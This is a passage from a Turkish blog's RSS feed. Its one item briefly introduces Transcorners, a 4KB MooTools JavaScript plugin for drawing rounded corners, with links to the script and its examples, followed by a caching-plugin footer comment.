isPermaLink="false">http://www.muzafferakyil.com/2008/01/25/makale/internet/javascript/admin/transcorners-yuvarlak-kseler.aspx</guid> <description><![CDATA[Mootools kullanarak hazırlanmış olan Transcorners sayesinde kolay ve hızlı bir şekilde köşeler oluşturabilirsiniz. İstediğiniz köşeye istediğiniz açıda ve renkte köşeler oluşturmanıza izin veren Transcorners background-image ve 1px’den fazla kalınlığı desteklememeklte. Sadece 4KB transcorners.js’i buradan örneklerine buradan bakabilirsiniz.]]></description> <content:encoded><![CDATA[<p><a href="http://mootools.net/" target="_blank" class="liexternal previewlink">Mootools</a> kullanarak hazırlanmış olan <a href="http://inviz.ru/moo/transcorners/" target="_blank" class="liexternal previewlink broken_link">Transcorners</a> sayesinde kolay ve hızlı bir şekilde köşeler oluşturabilirsiniz. İstediğiniz köşeye istediğiniz açıda ve renkte köşeler oluşturmanıza izin veren <a href="http://inviz.ru/moo/transcorners/" target="_blank" class="liexternal previewlink broken_link">Transcorners</a> background-image ve 1px’den fazla kalınlığı desteklememeklte. Sadece 4KB transcorners.js’i <a href="http://svn.copix.org/browser/trunk/www/js/mootools/plugins/transcorners.js" target="_blank" class="liexternal previewlink">buradan</a> örneklerine <a href="http://inviz.ru/moo/transcorners/" target="_blank" class="liexternal previewlink broken_link">buradan</a> bakabilirsiniz.</p><p><span id="more-102"></span></p><p><img class="colorbox-102"  style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px" height=293 alt=transcorners src="file:///C:/Documents and Settings/Term02/Application Data/Windows Live Writer/PostSupportingFiles/d6806418-c9f4-48ec-8dd1-26c350ad6fbf/transcorners[5].png" width=450 border=0/></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2008%2F01%2F25%2Fmakale%2Fyazilim%2Fjavascript%2Fadmin%2Ftranscorners-yuvarlak-kseler.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-102"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=102&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2008/01/25/makale/yazilim/javascript/admin/transcorners-yuvarlak-kseler.aspx/feed</wfw:commentRss> <slash:comments>1</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached
Page Caching using memcached
Database Caching using memcached
Object Caching 1412/1640 objects using memcached

Served from: muzaffer.akyil.net @ 2012-02-09 10:11:05 -->
